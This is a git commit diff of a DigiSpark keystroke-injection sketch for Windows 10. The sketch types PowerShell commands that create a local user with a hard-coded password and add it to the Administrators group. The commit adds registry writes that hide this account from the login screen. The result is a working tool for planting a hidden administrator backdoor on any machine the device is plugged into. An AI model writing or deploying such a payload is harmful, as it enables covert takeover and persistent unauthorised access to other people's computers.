Added hide option for created user

This commit is contained in:
e.kodikara 2019-09-24 14:57:49 +10:00
parent f502fa4e6d
commit 4db19af074
1 changed files with 17 additions and 5 deletions

View File

@ -1,11 +1,9 @@
//This DigiSpark script creates new local user and adds it to "Administrators" group //This DigiSpark script creates new local user and adds it to "Administrators" group
//Tested on Windows 10 with English(US) keyboard layout //Tested on Windows 10 with English(US) keyboard layout
//Created by Michyus //Created by Michyus | Edited by Elshan
#include "DigiKeyboard.h" #include "DigiKeyboard.h"
void setup() { void setup() {
} DigiKeyboard.delay(1000);
void loop() {
DigiKeyboard.sendKeyStroke(0); DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500); DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
@ -20,7 +18,21 @@ void loop() {
DigiKeyboard.print(F("powershell $pass = ConvertTo-SecureString \"P@ssW0rD\" -AsPlainText -Force; New-LocalUser \"accName\" -Password $pass; Add-LocalGroupMember -Group \"Administrators\" -Member \"accName\" ")); DigiKeyboard.print(F("powershell $pass = ConvertTo-SecureString \"P@ssW0rD\" -AsPlainText -Force; New-LocalUser \"accName\" -Password $pass; Add-LocalGroupMember -Group \"Administrators\" -Member \"accName\" "));
DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500); DigiKeyboard.delay(500);
/* I assumed user already have powershell - Try to hide the user account from the login screen*/
DigiKeyboard.print(F("powershell New-Item -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\'\" -Name \"SpecialAccounts\" "));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F("powershell New-Item -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts'\" -Name \"UserList\" "));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F("powershell New-ItemProperty -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\'\" -Name \"accName\" -Value \"0\" -PropertyType DWORD "));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
/* end hide user section */
DigiKeyboard.print("exit"); DigiKeyboard.print("exit");
DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ } }
void loop() {
} }